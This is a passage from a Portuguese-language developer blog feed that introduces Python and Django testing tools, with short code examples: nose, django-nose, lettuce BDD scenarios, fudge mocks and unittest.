    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;we&apos;re popular =)&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O que eu acho mais bacana nesta ferramenta são os seletores, facilitam
muito na hora de checar resultados e comportamentos.&lt;/p&gt;
&lt;p&gt;A comunidade em volta desta ferramenta está em constante crescimento e
atividade. Portanto, caso você queira contribuir com o projeto, vá agora
mesmo para o &lt;a href=&quot;https://github.com/cobrateam/splinter&quot; title=&quot;Repositório da Splinter no GitHub&quot;&gt;repositório no &lt;em&gt;GitHub&lt;/em&gt; e colabore&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;nose – Caçando testes em seu projeto (Python)&lt;/h2&gt;
&lt;p&gt;E quando queremos fugir da regra? Aposto que chegará um momento em que a
estrutura de diretórios padrão, necessária para a execução dos seus
testes em &lt;em&gt;Django&lt;/em&gt;, não te satisfará mais. O que fazer neste caso?
Simples, recorra ao &lt;em&gt;Nose&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;http://somethingaboutorange.com/mrl/projects/nose/1.0.0/&quot; title=&quot;Nose - is nicer testing for Python&quot;&gt;&lt;em&gt;Nose&lt;/em&gt;&lt;/a&gt; estende os recursos da &lt;em&gt;unittest&lt;/em&gt; e facilita a escrita
e carregamento dos testes em projetos &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;. De uma forma mais
detalhada, ele percorre o seu projeto (ou uma determinada região de seu
escolha) executando subclasses da &lt;code class=&quot;language-text&quot;&gt;unittest.TestCase&lt;/code&gt; ou funções que
contenham “test”. Por exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# test_subclasse.py&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; unittest

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;SubclasseTest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;unittest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TestCase&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_um_eh_verdadeiro&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;assertTrue&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# test_funcao.py&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_zero_eh_falso&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ao executar o comando &lt;strong&gt;nosetests&lt;/strong&gt; o &lt;em&gt;nose&lt;/em&gt; se encarregará de procurar
e carregar os testes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ nosetests
..
----------------------------------------------------------------------
Ran 2 tests in 0.005s

OK&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É claro que existe uma “mágica” aí. Na verdade o &lt;em&gt;nose&lt;/em&gt; pesquisará por
&lt;strong&gt;arquivos&lt;/strong&gt; &lt;em&gt;Python&lt;/em&gt; com “test” em seu nome, por &lt;strong&gt;funções&lt;/strong&gt; com “test”
em seu enunciado, e por &lt;strong&gt;classes&lt;/strong&gt; com métodos “test” em sua
declaração. Ele age mesmo como um “runner“, tendo a capacidade de lidar
com testes escritos com &lt;em&gt;unittest&lt;/em&gt; ou não.&lt;/p&gt;
&lt;p&gt;Essa é só a ponta do &lt;em&gt;iceberg&lt;/em&gt;. É possível construir &lt;em&gt;plugins&lt;/em&gt; para o
&lt;em&gt;nose&lt;/em&gt;, permitindo melhorar ainda mais o seu ambiente de testes (como
por exemplo, permitir que o &lt;a href=&quot;http://pypi.python.org/pypi/nosepipe/&quot; title=&quot;Conheça o nosepipe&quot;&gt;&lt;em&gt;nose&lt;/em&gt; funcione em &lt;em&gt;subprocess&lt;/em&gt;
separados&lt;/a&gt;).&lt;/p&gt;
&lt;h3&gt;Caçando testes em seu projeto (Django)&lt;/h3&gt;
&lt;p&gt;Para facilitar ainda mais a escrita de testes em &lt;em&gt;Django&lt;/em&gt; existem
&lt;em&gt;plugins&lt;/em&gt; como o &lt;a href=&quot;http://pypi.python.org/pypi/django-nose&quot; title=&quot;Utilize o nose em seus projetos Django&quot;&gt;&lt;em&gt;django-nose&lt;/em&gt;&lt;/a&gt;, que permite que você substitua o
&lt;em&gt;Test Runner&lt;/em&gt; padrão da &lt;em&gt;framework&lt;/em&gt; por um específico que utiliza o
&lt;em&gt;nose&lt;/em&gt;, unindo assim a facilidade e “add-ons” do &lt;em&gt;nose&lt;/em&gt; com o ambiente
de testes do &lt;em&gt;Django&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;lettuce – BDD em Django&lt;/h2&gt;
&lt;p&gt;E se você estava se perguntando sobre &lt;a href=&quot;/tag/bdd.html&quot; title=&quot;Leia mais sobre BDD&quot;&gt;&lt;em&gt;BDD&lt;/em&gt;&lt;/a&gt; em &lt;em&gt;Django&lt;/em&gt;, eu
apresento a &lt;a href=&quot;http://lettuce.it/intro/overview.html#intro-overview&quot; title=&quot;Saiba mais sobre a lettuce&quot;&gt;&lt;em&gt;Lettuce&lt;/em&gt;&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Esta ferramenta, baseada na &lt;a href=&quot;http://cukes.info/&quot; title=&quot;Cucumber - Making BDD fun&quot;&gt;&lt;em&gt;Cucumber&lt;/em&gt;&lt;/a&gt;, permite com que você escreva
histórias utilizando linguagem ubíqua, mais próxima da área de negócios
do que da área técnica, e automatize a validação delas.&lt;/p&gt;
&lt;p&gt;O mais bacana é que ela já vem preparada para o &lt;em&gt;Django&lt;/em&gt;, permitindo que
a gente execute os testes de comportamento de forma fácil e rápida:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;gherkin&quot;&gt;&lt;pre class=&quot;language-gherkin&quot;&gt;&lt;code class=&quot;language-gherkin&quot;&gt;&lt;span class=&quot;token feature&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;Feature:&lt;/span&gt;&lt;span class=&quot;token important&quot;&gt; Rocking with lettuce and django&lt;/span&gt;
&lt;/span&gt;
    &lt;span class=&quot;token scenario&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;Scenario:&lt;/span&gt;&lt;span class=&quot;token important&quot;&gt; Simple Hello World&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token atrule&quot;&gt;Given&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;I&lt;/span&gt; access the url &lt;span class=&quot;token string&quot;&gt;&quot;/&quot;&lt;/span&gt;
        &lt;span class=&quot;token atrule&quot;&gt;Then&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;I&lt;/span&gt; see the header &lt;span class=&quot;token string&quot;&gt;&quot;Hello World&quot;&lt;/span&gt;

    &lt;span class=&quot;token scenario&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;Scenario:&lt;/span&gt;&lt;span class=&quot;token important&quot;&gt; Hello + capitalized name&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token atrule&quot;&gt;Given&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;I&lt;/span&gt; access the url &lt;span class=&quot;token string&quot;&gt;&quot;/some-name&quot;&lt;/span&gt;
        &lt;span class=&quot;token atrule&quot;&gt;Then&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;I&lt;/span&gt; see the header &lt;span class=&quot;token string&quot;&gt;&quot;Hello Some Name&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;História escrita, vamos escrever o &lt;em&gt;script&lt;/em&gt; &lt;em&gt;Python&lt;/em&gt; que validará se está
tudo de acordo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; lettuce &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; lxml &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; html
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;test&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;client &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Client

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@before&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;all&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;set_browser&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    world&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Client&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@step&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&apos;I access the url &quot;(.*)&quot;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;access_url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;step&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; world&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    world&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dom &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; html&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fromstring&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@step&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&apos;I see the header &quot;(.*)&quot;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;see_header&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;step&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    header &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; world&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dom&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cssselect&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;h1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; header&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; text&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Basta executá-lo da seguinte maneira:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py harvest&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;http://lettuce.it/recipes/django-lxml.html#recipes-django-lxml&quot; title=&quot;Django + Lettuce, uma dupla interessante!&quot;&gt;Confira mais informações sobre como utilizar o &lt;em&gt;lettuce&lt;/em&gt; com &lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;fudge – Ajude o Python a mentir&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;http://farmdev.com/projects/fudge/&quot; title=&quot;Fudge, criando objetos mentirosos&quot;&gt;&lt;em&gt;Fudge&lt;/em&gt;&lt;/a&gt; é um módulo &lt;em&gt;Python&lt;/em&gt; que auxilia na construção de
objetos “dublês” (&lt;a href=&quot;http://www.infoq.com/br/articles/mocks-Arent-Stubs&quot; title=&quot;Mocks não são Stubs&quot;&gt;&lt;em&gt;mocks&lt;/em&gt; e &lt;em&gt;stubs&lt;/em&gt;&lt;/a&gt;), que permitem escrever testes
sem necessariamente possuir um serviço ativo ou um objeto construído.&lt;/p&gt;
&lt;p&gt;Um caso comum: Você está construindo uma &lt;em&gt;API&lt;/em&gt; que autentica via &lt;em&gt;OAuth&lt;/em&gt;
ao &lt;em&gt;Twitter&lt;/em&gt; e está utilizando testes para guiar o seu desenvolvimento.
Não é interessante que nossos testes sejam dependentes da
disponibilidade do serviço do &lt;em&gt;Twitter&lt;/em&gt;, portanto, escrevemos um “objeto
mentiroso”, que simulará este serviço, aceitando uma entrada e gerando
um saída:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; fudge

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@fudge&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;patch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;oauthtwitter.OAuthApi&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;FakeOAuthApi&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;FakeOAuthApi&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;expects_call&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;with_args&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;returns_fake&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;expects&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;UpdateStatus&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;with_arg_count&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

post_msg_to_twitter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;hey there fellow testing freaks!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Sabendo que valores serão passados, e quais os resultados,
podemos simular o comportamento daquele serviço. Prático, não?&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Estas são as ferramentas que eu costumo utilizar em meus projetos
&lt;em&gt;Python/Django&lt;/em&gt;. É claro que existem outras, na verdade existem várias.
Tenha em mente que a ferramenta é apenas um meio de garantir, através de
testes, que você está guiando a sua aplicação para o lugar certo. Os
testes automatizados no final servem para garantir que ela ainda segue
este caminho, que contribuições realizadas tardiamente não “quebraram” o
comportamento que você escreveu no início do desenvolvimento.&lt;/p&gt;
&lt;p&gt;Tenho a intenção de escrever um &lt;em&gt;post&lt;/em&gt; mais prático sobre testes e
&lt;em&gt;Django&lt;/em&gt;. Fiquem no aguardo ;)&lt;/p&gt;
&lt;p&gt;E você? Tem alguma ferramenta para recomendar? Utilize os comentários
abaixo para compartilhá-la.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://cilliano.com/blog/2011/02/07/django-bdd-with-lettuce-and-splinter/&quot; title=&quot;Leia sobre Django, BDD, Lettuce e Splinter&quot;&gt;&lt;em&gt;CillianO – Django Full Stack Testing and BDD with Lettuce and Splinter&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dtsato.com/blog/work/introduzindo_desenvolvimento_orientado_comportamento_bdd/&quot; title=&quot;Não sabe o que é BDD? Conheça neste artigo de Danilo Sato&quot;&gt;&lt;em&gt;Danilo Sato&lt;/em&gt; – Introduzindo Desenvolvimento Orientado por Comportamento &lt;em&gt;BDD&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jbalogh/django-nose&quot; title=&quot;Visite o repositório do django-nose no GitHub&quot;&gt;&lt;em&gt;django-nose – GitHub repository&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://farmdev.com/projects/fudge/using-fudge.html#fudging-a-web-service&quot; title=&quot;Documentação oficial do Fudge&quot;&gt;&lt;em&gt;Fudge – Using Fudge&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://jpz-log.info/archives/2010/06/08/nose-testing-in-python-made-easy/&quot; title=&quot;Testes em Python passam a ser mais fáceis com nose&quot;&gt;&lt;em&gt;JPz’log – nose: Testing in Python made easy&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://somethingaboutorange.com/mrl/projects/nose/1.0.0/writing_tests.html&quot; title=&quot;Aprenda a escrever testes Python com o Nose&quot;&gt;&lt;em&gt;Nose – Writing tests&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://splinter.cobrateam.info/&quot; title=&quot;Conheça o projeto Splinter, e envolva-se&quot;&gt;&lt;em&gt;Splinter – Test framework for web applications&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Ferramentas de testes em Django - Parte 1]]></title><description><![CDATA[Dando continuidade à série
“Montando seu ambiente de desenvolvimento Django no Linux“, vou
indicar algumas ferramentas de testes para que…]]></description><link>https://klauslaube.com.br/2011/07/18/ferramentas-de-testes-em-django-parte-1.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/07/18/ferramentas-de-testes-em-django-parte-1.html</guid><pubDate>Mon, 18 Jul 2011 22:06:00 GMT</pubDate><content:encoded>&lt;p&gt;Dando continuidade à série
“&lt;a href=&quot;/2011/03/03/montando-seu-ambiente-de-desenvolvimento-django.html&quot; title=&quot;Veja outros posts desta série&quot;&gt;Montando seu ambiente de desenvolvimento &lt;em&gt;Django&lt;/em&gt; no &lt;em&gt;Linux&lt;/em&gt;&lt;/a&gt;“, vou
indicar algumas ferramentas de testes para que você também possa deixar
com que os &lt;a href=&quot;/2011/01/27/tdd-desenvolvimento-orientado-testes.html&quot; title=&quot;TDD: Desenvolvimento Orientado a Testes&quot;&gt;testes guiem o desenvolvimento de suas aplicações&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Afinal, testar é preciso ;)&lt;/p&gt;
&lt;h2&gt;Testar em Django é possível?&lt;/h2&gt;
&lt;p&gt;Sem dúvida nenhuma! Mas não espere que o &lt;em&gt;framework&lt;/em&gt; adeque-se a você,
você precisa ter a iniciativa de tentar compreender as melhores maneiras
para escrever testes em &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Por exemplo, se você tem por hábito isolar os modelos para &lt;a href=&quot;/tag/testes.html&quot; title=&quot;Leia mais sobre testes&quot;&gt;testá-los&lt;/a&gt;
de forma unitária, pode passar por certa dor de cabeça com o
&lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; / &lt;em&gt;Django&lt;/em&gt;. Não que seja impossível, mas o comportamento
&lt;em&gt;default&lt;/em&gt; do &lt;em&gt;framework&lt;/em&gt; é criar uma base de dados “fake” para você não
precisar ter este trabalho.&lt;/p&gt;
&lt;p&gt;Enfim, talvez a forma de &lt;strong&gt;utilizar&lt;/strong&gt; estas ferramentas &lt;strong&gt;caiba em um
outro &lt;em&gt;post&lt;/em&gt;&lt;/strong&gt;, o objetivo deste é &lt;strong&gt;apenas apresentá-las&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;unittest – Testando unidades através de classes&lt;/h2&gt;
&lt;p&gt;A &lt;a href=&quot;http://docs.python.org/library/unittest.html&quot; title=&quot;unittest — Unit testing framework&quot;&gt;&lt;em&gt;unittest&lt;/em&gt;&lt;/a&gt; é uma biblioteca padrão do &lt;em&gt;Python&lt;/em&gt; que ajuda (e muito)
a escrever testes automatizados com a linguagem.&lt;/p&gt;
&lt;p&gt;Os testes são escritos através de classes, onde utilizamos os esquemas
de &lt;a href=&quot;http://docs.python.org/library/unittest.html#assert-methods&quot; title=&quot;Veja a lista de asserts da unittest&quot;&gt;&lt;em&gt;assertions&lt;/em&gt;&lt;/a&gt; para garantir o comportamento do código testado
(nenhuma novidade até aqui). Para quem utiliza testes unitários no
&lt;em&gt;Java&lt;/em&gt; não vai sentir grandes mudanças na abordagem, já que a &lt;em&gt;unittest&lt;/em&gt;
é inspirada na &lt;a href=&quot;http://javafree.uol.com.br/wiki/JUnit&quot; title=&quot;Leia mais sobre a JUnit&quot;&gt;&lt;em&gt;JUnit&lt;/em&gt;&lt;/a&gt; (sendo muitas vezes até chamada de &lt;em&gt;PyUnit&lt;/em&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; unittest
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; myapp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;models &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Animal

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;AnimalTestCase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;unittest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TestCase&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;setUp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;lion &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Animal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;lion&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sound&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;roar&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cat &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Animal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;cat&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sound&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;meow&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;testSpeaking&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
